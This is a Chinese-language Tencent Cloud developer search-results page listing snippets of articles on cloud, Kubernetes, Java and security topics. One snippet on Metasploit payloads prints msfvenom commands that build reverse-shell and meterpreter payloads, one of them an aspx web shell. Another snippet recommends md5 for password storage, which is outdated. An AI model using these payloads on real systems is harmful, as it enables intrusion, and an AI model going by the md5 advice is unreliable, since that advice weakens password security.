- 综合排序
- 最热优先
- 最新优先
- 来自专栏世民谈云计算
理解Neutron (8): Neutron 安全组
和网络回送地址127.0.0.0/8.)的地址作为源或目的地址。 一个安全组定义了哪些进入的网络流量能被转发给虚机。安全组包含一组防火墙策略，称为安全组规则（Security Group Rule）。 而 qbr 桥是一个简单的网桥，它一头连接的是虚机网卡 eth0 的 tap 设备（比如 tap59cfa0b8-2f），另一头连接 veth pari 的一端（比如qvb59cfa0b8-2f），该 veth 设备的另一端是 OVS 上的端口 qvo59cfa0b8-2f。 | [u'f5377a66-803d-481b-b4c3-a6631e8ab456'] | 402fe6b1-7670-4b6b-84a3-097beed64015 | fa:16:3e:45:6b:8b
4.4K50发布于 2019-06-28 - 来自专栏架构师成长之路
k8s实践(8)--ssl安全认证配置
一.基于CA签名的双向数字证书认证方式 在一个安全的内网环境中, Kubernetes的各个组件与Master之间可以通过apiserver的非安全端口http://apiserver:8080进行访问 但如果apiserver需要对外提供服务,或者集群中的某些容器也需要访问apiserver以获取集群中的某些信息,则更安全的做法是启用HTTPS安全机制。 k8s中哪些组件需要进行tls证书认证，哪些不需要？ kube-scheduler、kube-controller-manager 一般和 kube-apiserver 部署在同一台机器上，它们使用非安全端口和 kube-apiserver通信，非安全端口默认为 安全端口默认为https的6443，可以使用--secure-port指定，监听安全端口的地址默认为0.0.0.0（监听所有接口），可以使用--bind-address指定。
3.8K20编辑于 2022-04-14 - 来自专栏啄木鸟软件测试
安全测试工具（连载8）
3.2 DirBuster DirBuster是OWASP（开放WEB软体安全项目- OpenWeb Application Security Project)开发的一款专门用于探测WEB服务器的目录和隐藏文件
75720发布于 2019-12-12 - 来自专栏运维监控日志分析
logstash index 生成时间晚 8 小时
问题 es存储数据索引需按照天进行分割，即logstash 每天00:00生成新的索引，观察发现logstash默认情况下生成新的索引的时间为每天的 08:00 时，导致第二天的数据会被存储到前一天索引中 分析发现 logstash 生成索引文件名中的日期是从@timestamp字段的值中获取，默认为UTC时间。 filter { ruby { code => "event.set('timestamp', event.get('@timestamp').time.localtime + 8* timestamp'))" } mutate { remove_field => ["timestamp"] } } logstash 配置文件 使用格式 YYYY.MM.dd.HH 查看索引生成的时间是否准确 filter { ruby { code => "event.set('timestamp', event.get('@timestamp').time.localtime + 8*
3.2K60发布于 2020-09-04 【详解】Java生成短8位UUID
Java生成短8位UUID在Java中，UUID（Universally Unique Identifier）通常用于生成全局唯一的标识符。 虽然缩短UUID会增加碰撞（即生成两个相同标识符）的风险，但在某些特定场景（如生成短链接、简短的API密钥等）中，这可能是可接受的。下面是一个简单的Java方法，用于生成一个较短的8位UUID。 这个操作会损失UUID的唯一性，因此生成的短UUID有更高的碰撞风险。取模后的结果转换为一个16进制字符串，并取其前8个字符作为短UUID。 此外，为了增强安全性和性能，您还可以考虑使用身份验证、缓存等技术来改进代码。由于您没有提供具体的代码片段，我将无法直接对特定的代码进行详细介绍。不过，我可以给您一个概述，解释如何在一般情况下介绍代码。 安全性：分析代码的安全性。它是否容易受到某些类型的攻击？采取了哪些安全措施？可维护性与可扩展性：评估代码的可维护性和可扩展性。代码是否容易理解？未来添加新功能或修改现有功能是否容易？
1.8K00编辑于 2024-12-31- 来自专栏工作笔记精华
JAVA生成短8位UUID 转
短8位UUID思想其实借鉴微博短域名的生成方式，但是其重复概率过高，而且每次生成4个，需要随即选取一个。 本算法利用62个可打印字符，通过随机生成32位UUID，由于UUID都为十六进制，所以将UUID分成8组，每4个为一组，然后通过模62操作，结果作为索引取出字符， 这样重复率大大降低。 经测试，在生成一千万个数据也没有出现重复，完全满足大部分需求。 代码贴出来供大家参考。 ", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8" StringBuffer(); String uuid = UUID.randomUUID().toString().replace("-", ""); for (int i = 0; i < 8;
6.4K00发布于 2019-04-18 - 来自专栏JAVA乐园
生成安全的随机数
每一个线程有一个独立的随机数生成器 0x02：Math.random() Math.random()产生的随机数是在0 到1之间的一个double类型的随机数，即 0 <= random <= 1 例子 从源码分析发现，调用Math.random()方法时，自动创建了一个伪随机数生成器，实际上用的是new java.util.Random()。 在注重信息安全的应用中，不要使用 LCG 算法生成随机数，请使用 java.security.SecureRandom。 SecureRandom 提供加密的强随机数生成器（This class provides a cryptographically strong random number generator [RNG 每一个线程有一个独立的随机数生成器，用于并发产生随机数，能够解决多个线程发生的竞争争夺，效率更高。
3.1K10发布于 2020-06-12 - 来自专栏嘉为动态
微软安全公告—2016年8月
微软于北京时间2016年8月10日发布了9个新的安全公告，其中5个为严重等级，4个为重要等级。 我们推荐您安装所有更新，对于暂时只采用部分更新的用户，我们推荐您首先部署等级为“严重”的安全公告。安全公告每月更新一次，旨在解决严重的漏洞问题。 ---- 2016年8月新的安全漏洞 以下是所有安全公告的内容，供您参考。 如果攻击者安装了一个受影响的引导管理器并绕过 Windows 安全功能，则此漏洞可能允许绕过安全功能。 ，请以网站上的安全公告内容为准。
94130发布于 2018-12-21 - 来自专栏啄木鸟软件测试
软件安全性测试（连载8）
2.4 HTML5的安全 1.
1K20发布于 2019-12-23 - 来自专栏c++与qt学习
k8s的安全认证
k8s的安全认证 访问控制概述 客户端 认证、授权和准入控制 认证管理 kubernetes的客户端身份认证方式 HTTPS认证过程 总结 授权管理 概述 API Server目前支持的几种授权策略 RBAC 所谓的安全性其实就是保证对kubernetes的各种客户端进行认证和授权操作。 ---- 认证管理 kubernetes的客户端身份认证方式 ● kubernetes集群安全的关键点在于如何识别并认证客户端身份，它提供了3种客户端身份认证方式： ● ① HTTP Base认证： ○ 这种认证方式是安全性最高的一种方式，但是同时也是操作起来最麻烦的一种方式。 ● PodSecurityPolicy：这个插件用于在创建或修改Pod时决定是否根据Pod的security context和可用的 PodSecurityPolicy对Pod的安全策略进行控制
72620编辑于 2022-09-28 - 来自专栏graphql
GraphQL实践8——Netflix Dgs Graphql代码生成
功能介绍DGS官方开发了识别schema配置生成对应类型、测试类的代码生成器，而Maven插件则由社区维护Maven代码生成插件新增依赖<dependency> <groupId>com.netflix.graphql.dgs.codegen -- 生成测试客户端 --> <generateClient>true</generateClient> </configuration graphqlcodegen: Maven port of the Netflix Gradle code generation plugin for graphql.编译执行mvn clean package即可生成对应的类图片存在问题 IDEA默认不识别target目录下的资源文件，生成后会导致无法引用图片解决方法需要手动将对应的生成目录配置为Source Root即可图片图片总结DGS官方推荐开发者优先使用代码生成器生成标准类库后再开发
1.6K30编辑于 2022-10-31 空安全编程的典范：Java 8中的安全应用指南
Java 8 中的 java.util.Base64 类提供了方便且高效的Base64编码和解码功能，适用于处理字符串数据的安全传输和存储。 1.2 URL 和文件名安全的编码解码器URL 和文件名安全的 Base64 编码：使用 Base64.getUrlEncoder().encodeToString(originalInput.getBytes ("utf-8")) 对原始字符串进行URL和文件名安全的Base64编码。 URL 和文件名安全的 Base64 解码：使用 Base64.getUrlDecoder().decode(encodedString) 对URL和文件名安全的Base64编码后的字符串进行解码。 注意事项：URL 和文件名安全的Base64编码会使用 - 替换 +，并且使用 _ 替换 /，以确保编码结果可以安全地在URL和文件名中使用。
47910编辑于 2025-01-17- 来自专栏betasec
安全攻防 | MSF生成Payload方式总结
声明：本人坚决反对利用文章内容进行恶意攻击行为，一切错误行为必将受到惩罚，绿色网络需要靠我们共同维护，推荐大家在了解技术原理的前提下，更好的维护个人信息安全、企业安全、国家安全。 1 Payload生成方式 （1）windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform Linux -f c （8） msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.20.128 LPORT=4444 -a x86 --platform osx -f c 2 反弹shell生成方式 platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.20.128 LPORT=4444 -f aspx -o shell.aspx （8）
1.1K20编辑于 2023-02-25 - 来自专栏玩转全栈
GitHub Copilot 生成代码有安全漏洞
现代代码生成工具利用大型语言模型（LLMs）生成完整的代码，但使用这些工具存在安全挑战。研究人员对代码生成工具的安全性进行了探讨，尤其是GitHub Copilot生成的代码的安全性。 研究结果强调开发人员在使用Copilot和类似AI代码生成工具时需谨慎，建议进行安全检查，以确保生成的代码安全性。 研究为开发者提供了有价值的信息,可以帮助他们明确 Copilot 生成代码中可能存在的安全风险类型、风险程度及解决思路。这将提高开发者对 Copilot 等新兴代码生成工具的安全防范能力。 研究结果也可为工具开发者改进这类工具提供参考,使其生成的代码质量更高、安全性更好。8. 代码安全至关重要,使用 AI 辅助编程工具不能降低对代码安全的要求。 本研究表明仅依靠 Copilot 生成代码存在一定安全风险,开发者仍需自己审查代码、进行安全检查,不能完全依赖工具。代码生成工具可以提高效率,但不能替代开发者对代码质量和安全性的把控。
1.2K40编辑于 2023-10-05 - 来自专栏用ChatGPT做软件测试
使用 ChatGPT 辅助安全测试脚本生成
它不仅可以理解安全需求、自动生成测试脚本，还能协助分析漏洞信息、构造攻击载荷、输出测试报告，帮助测试人员实现从“手动安全测试”到“智能化安全测试”的飞跃。 本文将围绕“如何使用 ChatGPT 辅助安全测试脚本生成”这一主题，从原理机制、实战流程、脚本案例、安全边界和未来展望等角度深入剖析，助力企业和技术人员构建更强大的安全测试体系。 一、为什么选择 ChatGPT 辅助生成安全测试脚本？ 二、ChatGPT 辅助生成安全测试脚本的典型场景2.1 Web 安全测试脚本生成示例：SQL 注入测试脚本生成提示词（Prompt）： 我正在测试一个 PHP Web 表单的 SQL 注入漏洞，表单包含用户名和密码字段 本文不仅介绍了使用 ChatGPT 生成安全测试脚本的实战方法，还指出了其安全边界与未来演进路径。安全测试的智能化，是 DevSecOps 持续演进的关键一步。
42410编辑于 2025-07-12 Java EE(8)——线程安全——锁策略&CAS
原理，应用(原子类，自旋锁)，ABA 3.JUC(java.util.concurrent) 的常见类：ReentrantLock，原子类，Semaphore，CountDownLatch 4.线程安全的集合类 这个过程涉及用户态和内核态的切换，线程的阻塞和唤醒，并且要保存该线程的上下文信息，会消耗性能，所以挂起等待锁是重量级锁的实现 1.1.4读写锁 多线程之间，数据的读取方之间不会产生线程安全问题，但数据的写入方互相之间以及和读者之间都需要进行互斥
10810编辑于 2026-01-13- 来自专栏腾讯安全
腾讯安全发布《2020年公有云安全报告》，重点剖析8大主流安全风险
产业互联网的升级换代，也同时带来网络安全的巨大变化。传统威胁是在客户端、企业私有云环境，随着业务上云，安全风险也随之上云。 ，发现潜在的安全隐患，按照基线安全规范进行配置，使企业网络资产符合国家等保合规要求，按照安全基线标准检测、调整配置，可大幅减少黑客入侵攻击面。 安全建议：部署云原生安全防护体系，全面应对企业上云的新挑战 面对快速增长的云上安全需求，腾讯安全依托20余年安全领域积累，围绕安全治理、数据安全、应用安全、计算安全和网络安全五个层面打造了云原生安全防护体系 ，并开放“腾讯级”安全能力，为各个行业的云上客户提供安全保障。 针对日趋复杂的公有云安全威胁，腾讯安全专家建议政企机构部署云原生安全防护体系（腾讯云主机防护产品、腾讯云防火墙）来检测风险、防御风险、处置风险，对安全事件进行技术回溯分析，强化政企机构自身网络安全防护体系建设
1.7K10发布于 2021-02-07 - 来自专栏FreeBuf
Prithvi：一款针对安全审计活动的安全报告生成工具
关于Prithvi Prithvi是一款针对安全审计活动的安全报告生成工具，该工具专为安全审计活动设计，可以帮助广大研究人员以自动化的形式申城安全审计报告。 功能介绍 该工具的使用非常简单，它可以给广大研究人员提供下列功能： 1、支持添加OWASP类型以及详细建议； 2、支持添加多个项目并单独进行处理； 3、支持通过概念验证在不同项目上添加多个安全漏洞 ； 4、在生成安全审计报告时，支持生成.docx文档格式； 5、目前，开发人员正在尝试添加更多的功能，例如Chart等； 系统要求 1、支持的操作系统：macOS 64位、Windows
2.4K20编辑于 2023-03-29 - 来自专栏linux运维
安全审计报告问题：安全审计报告生成失败，无法分析
检查报告生成工具首先确认使用的报告生成工具是否正确安装并运行。 调整报告生成命令根据工具的不同，使用正确的命令生成报告。 检查权限问题确保当前用户有权限访问日志文件和生成报告。 测试报告生成流程在测试环境中模拟报告生成，确保流程无误。 自动化生成：将报告生成脚本加入定时任务，定期生成报告。
68210编辑于 2025-02-09 - 来自专栏PHP在线
8个与安全相关的PHP函数
mysql_real_escape_string() 这个函数对于在PHP中防止SQL注入攻击很有帮助，它对特殊的字符，像单引号和双引号，加上了“反斜杠”，确保用户的输入在用它去查询以前已经是安全的了 6. md5() 一些开发者存储的密码非常简单，这从安全的角度上看是不好的，md5()函数可以产生给定字符串的32个字符的md5散列，而且这个过程不可逆，即你不能从md5()的结果得到原始字符串 8. intval() 不要笑，我知道这不是一个和安全相关的函数，它是在将变量转成整数类型。但是，你可以用这个函数让你的PHP代码更安全，特别是当你在解析id，年龄这样的数据时。
1.2K120发布于 2018-03-07
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号